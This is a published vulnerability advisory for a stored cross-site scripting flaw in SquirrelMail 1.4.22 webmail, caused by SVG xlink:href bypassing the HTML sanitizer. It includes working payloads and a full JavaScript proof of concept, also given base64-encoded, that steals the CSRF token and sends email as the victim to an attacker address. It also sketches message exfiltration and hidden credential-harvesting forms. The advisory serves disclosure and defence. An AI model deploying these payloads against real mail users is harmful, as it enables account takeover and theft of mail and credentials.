SquirrelMail 1.4.22 — Stored XSS in received emails

Andrea Cardaci — 19 March 2019
Discovered 2017-12-23
Author Andrea Cardaci
Product SquirrelMail
Tested versions 1.4.22
  1.4.23 (SM-1_4-STABLE @ r14746)
  1.5.2 (trunk @ r14747)


SquirrelMail allows to display HTML messages provided that non-safe fragments are redacted. An input sanitization vulnerability that can be exploited to perform stored cross-site scripting (XSS) attacks has been discovered.

A remote attacker can send a specially crafted email containing malicious HTML and execute arbitrary JavaScript code in the context of the vulnerable webmail interface when the user displays the message. This basically grants the attacker the same privileges of the authenticated victim, in particular this enables to (among other things): send email messages on the behalf of the victim, fetch conversations from folders, delete or otherwise manage messages, log the victim out of SquirrelMail, etc.

It is likely that even prior versions are affected since this does not appear to be a regression but merely an insufficient implementation.


The HTML sanitizer uses a blacklist approach based on tag and attributes names to recognize potentially dangerous HTML code and decide how to fix it, for example, attributes starting with on are removed as they usually represent events. In particular, the <script> element is deleted and the href attribute can only assume certain schemes (e.g., not javascript:) otherwise it is replaced with a void image URL.

It is possible to bypass these checks by using the SVG counterpart of the <a> and <script> elements. This variant exposes the href attribute as part of the xlink namespace (for the latter it allows to specify the resource containing the script code) therefore it can be accessed with xlink:href which is ignored by SquirrelMail. Moreover, in this context <script> can be self-closing and the lack of closing tag is enough to deceive the sanitizer.

Two methods have been devised, to maximize the chances of success, an attacker could employ both.

No user action required

This solution only works with Firefox and Edge1 and requires no additional interaction from of the user:

<svg><script xlink:href="data:text/javascript,alert(1)"/></svg>
<svg><script xlink:href="data:text/javascript;base64,YWxlcnQoMSk="/></svg>

Arbitrarily complex code can be deployed by using the Base64 format of the Data URL scheme.

User action required

This solution has been tested with all major browsers and requires the user to click on an anchor element:

  <a xlink:href="javascript:alert(1)">
    <text y="1em">CLICK ME</text>

  <a xlink:href="javascript:eval(atob('YWxlcnQoMSk='))">
    <text y="1em">CLICK ME</text>

Arbitrarily complex code can be deployed by evaluating a decoded Base64 string.

Additionally, to mimic the look and feel of a regular link, the following attributes of the text element can be used:

fill="#0000cc" text-decoration="underline" cursor="pointer"

A note about Firefox

The HTML sanitizer adds the target="_blank" attribute to links, in Firefox this means that even javascript: URLs are evaluated in a new tab. Luckily it is possible to obtain the original frame using the window.opener property and possibly close the new window afterwards.

To increase the chances of success the JavaScript payload should look like this:

// get the real window
const _window = window.opener || window;

// ...

// close the new window, if any
if (window.opener) {


The HTML visualization of messages in SquirrelMail is not enabled by default, users of the stable version need to enable it globally2 whereas in the development version it can also be toggled for single messages3. Nowadays HTML emails are sadly widespread so it is reasonable to assume that most users are willing to properly display them.

Proof of concept

This proof of concept (PoC) shows how it is possible to trick SquirrelMail in sending arbitrary emails on the behalf of a SquirrelMail user.

To prevent cross-site request forgery, SquirrelMail employs per-user security tokens, this is not a problem in this scenario since the valid token can be easily obtained from the current page using this JavaScript snippet:


The administrator may decide to enable a per-action token generation instead4, in this case a token can be obtained with:


The following JavaScript payload takes into account the aforementioned considerations:

(function () {
    async function send(data, to) {
        // get the real document
        const _window = window.opener || window;
        const _document = _window.document;

        // fetch the security token from the current page
        let token;
        try {
            token = _document.querySelector('a[href^="/src/delete_message.php"]')
        } catch (err) {}
        try {
            token = _document.querySelector('input[name="smtoken"]').value;
        } catch (err) {}

        // prepare the form data
        const form = new FormData();
        form.append('smtoken', token);
        form.append('send_to', to);
        form.append('body', data);
        form.append('identity', '0');
        form.append('send', 'Send');
        form.append('send1', 'Send');
        form.append('send_button_count', '1');

        // send the message
        await fetch(`${_window.location.origin}/src/compose.php`, {
            credentials: 'include',
            method: 'POST',
            body: form

        // close the new window if needed
        if (window.opener) {

    send('EXFILTRATED_DATA', '[email protected]');

The payload5 can be Base64-encoded and the HTML message can be crafted as follows:

<svg><script xlink:href="data:text/javascript;base64,KGZ1bmN0aW9uKCkge2FzeW5jIGZ1bmN0aW9uIHNlbmQoZGF0YSwgdG8pIHtjb25zdCBfd2luZG93ID0gd2luZG93Lm9wZW5lciB8fCB3aW5kb3c7IGNvbnN0IF9kb2N1bWVudCA9IF93aW5kb3cuZG9jdW1lbnQ7IGxldCB0b2tlbjsgdHJ5IHt0b2tlbiA9IF9kb2N1bWVudC5xdWVyeVNlbGVjdG9yKCdhW2hyZWZePSIvc3JjL2RlbGV0ZV9tZXNzYWdlLnBocCJdJykuaHJlZi5tYXRjaCgvLipzbXRva2VuPShbXiZdKykuKi8pWzFdO30gY2F0Y2ggKGVycikge30gdHJ5IHt0b2tlbiA9IF9kb2N1bWVudC5xdWVyeVNlbGVjdG9yKCdpbnB1dFtuYW1lPSJzbXRva2VuIl0nKS52YWx1ZTt9IGNhdGNoIChlcnIpIHt9IGNvbnN0IGZvcm0gPSBuZXcgRm9ybURhdGEoKTsgZm9ybS5hcHBlbmQoJ3NtdG9rZW4nLCB0b2tlbik7IGZvcm0uYXBwZW5kKCdzZW5kX3RvJywgdG8pOyBmb3JtLmFwcGVuZCgnYm9keScsIGRhdGEpOyBmb3JtLmFwcGVuZCgnaWRlbnRpdHknLCAnMCcpOyBmb3JtLmFwcGVuZCgnc2VuZCcsICdTZW5kJyk7IGZvcm0uYXBwZW5kKCdzZW5kMScsICdTZW5kJyk7IGZvcm0uYXBwZW5kKCdzZW5kX2J1dHRvbl9jb3VudCcsICcxJyk7IGF3YWl0IGZldGNoKGAke193aW5kb3cubG9jYXRpb24ub3JpZ2lufS9zcmMvY29tcG9zZS5waHBgLCB7Y3JlZGVudGlhbHM6ICdpbmNsdWRlJywgbWV0aG9kOiAnUE9TVCcsIGJvZHk6IGZvcm19KTsgaWYgKHdpbmRvdy5vcGVuZXIpIHtjbG9zZSgpO319IHNlbmQoJ0VYRklMVFJBVEVEX0RBVEEnLCAnYXR0YWNrZXJAbG9jYWxob3N0Jyk7fSkoKQ=="/></svg>

<svg><a xlink:href="javascript:eval(atob('KGZ1bmN0aW9uKCkge2FzeW5jIGZ1bmN0aW9uIHNlbmQoZGF0YSwgdG8pIHtjb25zdCBfd2luZG93ID0gd2luZG93Lm9wZW5lciB8fCB3aW5kb3c7IGNvbnN0IF9kb2N1bWVudCA9IF93aW5kb3cuZG9jdW1lbnQ7IGxldCB0b2tlbjsgdHJ5IHt0b2tlbiA9IF9kb2N1bWVudC5xdWVyeVNlbGVjdG9yKCdhW2hyZWZePSIvc3JjL2RlbGV0ZV9tZXNzYWdlLnBocCJdJykuaHJlZi5tYXRjaCgvLipzbXRva2VuPShbXiZdKykuKi8pWzFdO30gY2F0Y2ggKGVycikge30gdHJ5IHt0b2tlbiA9IF9kb2N1bWVudC5xdWVyeVNlbGVjdG9yKCdpbnB1dFtuYW1lPSJzbXRva2VuIl0nKS52YWx1ZTt9IGNhdGNoIChlcnIpIHt9IGNvbnN0IGZvcm0gPSBuZXcgRm9ybURhdGEoKTsgZm9ybS5hcHBlbmQoJ3NtdG9rZW4nLCB0b2tlbik7IGZvcm0uYXBwZW5kKCdzZW5kX3RvJywgdG8pOyBmb3JtLmFwcGVuZCgnYm9keScsIGRhdGEpOyBmb3JtLmFwcGVuZCgnaWRlbnRpdHknLCAnMCcpOyBmb3JtLmFwcGVuZCgnc2VuZCcsICdTZW5kJyk7IGZvcm0uYXBwZW5kKCdzZW5kMScsICdTZW5kJyk7IGZvcm0uYXBwZW5kKCdzZW5kX2J1dHRvbl9jb3VudCcsICcxJyk7IGF3YWl0IGZldGNoKGAke193aW5kb3cubG9jYXRpb24ub3JpZ2lufS9zcmMvY29tcG9zZS5waHBgLCB7Y3JlZGVudGlhbHM6ICdpbmNsdWRlJywgbWV0aG9kOiAnUE9TVCcsIGJvZHk6IGZvcm19KTsgaWYgKHdpbmRvdy5vcGVuZXIpIHtjbG9zZSgpO319IHNlbmQoJ0VYRklMVFJBVEVEX0RBVEEnLCAnYXR0YWNrZXJAbG9jYWxob3N0Jyk7fSkoKQ=='))"><text fill="#0000cc" text-decoration="underline" cursor="pointer" y="1em">CLICK ME</text></a></svg>

It is likewise possible to retrieve sensitive data by fetching the proper URL6, for example:

A possible attack scenario would be to fetch all the message identifiers from the first URL, then use the second to fetch individual messages and finally use the above send function to exfiltrate this data7.

Bonus scenario

Another interesting attack scenario takes advantage of the fact that browsers prompt to save the login credentials, the attacker could craft a fake and invisible login form to harvest them. This is particularly worrisome if SquirrelMail is used as a system mail interface where credentials are actual system credentials that might grant access to other services, e.g., SSH, FTP, etc.


Users should refrain from displaying HTML emails in SquirrelMail until a proper fix is available.


First contact with SecuriTeam Secure Disclosure (SSD).
Disclosure via the SSD program.
SSD grants the reward.
SquirrelMail development team fixes the issue.
SSD publishes the advisory.
  1. Tested with Firefox version 57.0.1 and Edge version 41.16299.15.0. Apparently, this is a specification misinterpretation by Chrome and others. 

  2. Options -> Display Preferences -> Show HTML Version by Default; this vulnerability can also be used to set this option once triggered the first time. 

  3. Because the “View as HTML” plugin has been included in that version. 

  4. By setting $do_not_use_single_token to TRUE in config/config_local.php

  5. The destination account does not need to be on the same server, [email protected] is used just for the sake of the example. 

  6. These URLs may differ across versions. 

  7. Not implemented in this PoC for the sake of brevity.